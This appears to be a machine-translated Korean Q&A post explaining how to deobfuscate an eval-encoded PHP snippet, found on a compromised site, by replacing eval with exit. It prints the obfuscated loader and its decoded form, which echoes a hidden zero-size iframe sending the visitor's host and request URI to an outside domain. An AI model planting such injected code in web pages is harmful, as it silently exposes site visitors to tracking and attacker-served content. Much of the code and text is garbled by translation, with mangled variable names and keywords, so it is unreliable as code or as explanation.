기금넷 공식사이트 - 복권 조회 - 이 코드는 어떻게 해독합니까?

이 코드는 어떻게 해독합니까?

방법은 간단합니다. eval 을 exit 로 변경하면 실행 파일에 해당 코드가 표시됩니다. 이것은 암호 해독이나 암호화가 아니라 유치원 아이들이 하는 숨바꼭질 게임이다.

믿지 마세요. 코드에서 eval 을 exit 로 교체하면 다음과 같이 표시됩니다.

$ k22e99y97 _ t60h20a12t73 _ 33s25c99r97i 60p20t12 _ 73i3s25 _ 97c60r20y/

$ r99e60s12o33u 22r97c20e _ c73r25y22p99t97e60d _ c20o12d73e33 = "-.aya5y" 5 nbtcgtcj6ct @ dtbendcx6l *1try ~16-xwcp | t1bcr, 3 yeea & gtt)\ "? P | t>A ~ be & gtvte? 아야. P|t, 6? 5y? 63 1fxuey, 3! 3 1ytxvye, 3! 31p} XV \ u, 3} twe3/-> Xwcp|t/6* 1 1. /";

$ s22t97r20i73n25g _ o99u60t12p33u 20t25 = $ r99e60s12o33u 22r97c20e _ c73r25y22

$ l25e33n73t12h _ o20f _ c60r97y99p22t33e73d _ c12o20d60e97 = strlen ($;

$ e25v73a20l _ p97h22p _ c99o60d12e33 = "";

For ($ h33u12 i60 v99a22m 97v 20s73e25m = 0;

$ h33u12 i60 v99a22m97v20s73e25m < $ l25e33n73t12h _ o20f _ c60r97y99p22t33e73d _ c12o20d60e97;

$ h33u12 i60 v99a22m97v20s73e25m+) $ e25v73a20l _ p97h22p _ c99o60d12e33. = chr (ord ($ s22t97r20i73n25g _ o99u60t12p33u 20t25 [$ h33u12 i60v99a22m97m Kloc-0/2t73 _ 33s25c99r97i60p20t12 _ 733s25 _ 97c6c6

종료 ("? >. $ e25v73a20l _ p97h22p _ c99o60d12e33. "<? );

이전 코드를 위의 코드로 바꿉니다. eval 이 있습니다. 같은 방식으로 실행되어 다음 코드를 표시합니다.

& gt& lt? 서버측 프로그래밍 언어 (professional hypertext preprocessor 의 약어)

$h = $_SERVER['HTTP_HOST']. $_SERVER[' 요청 _ uri'];

에코'< iframesrc = "http://e83.name/post/get.php? 이름 =' 입니다. $ H.' "width =" 0 "height =" 0 "align =" left "></iframe >' 을 눌러 섹션을 인쇄할 수도 있습니다

& gt& lt?

따라서 전체 원본 파일은 다음과 같습니다.

& lt? 서버측 프로그래밍 언어 (professional hypertext preprocessor 의 약어)

& gt& lt? 서버측 프로그래밍 언어 (professional hypertext preprocessor 의 약어)

$h = $_SERVER['HTTP_HOST']. $_SERVER[' 요청 _ uri'];

에코'< iframesrc = "http://e83.name/post/get.php? 이름 =' 입니다. $ H.' "width =" 0 "height =" 0 "align =" left "></iframe >' 을 눌러 섹션을 인쇄할 수도 있습니다

& gt& lt& gt

지금의 내용은 이해하기 쉬운가요?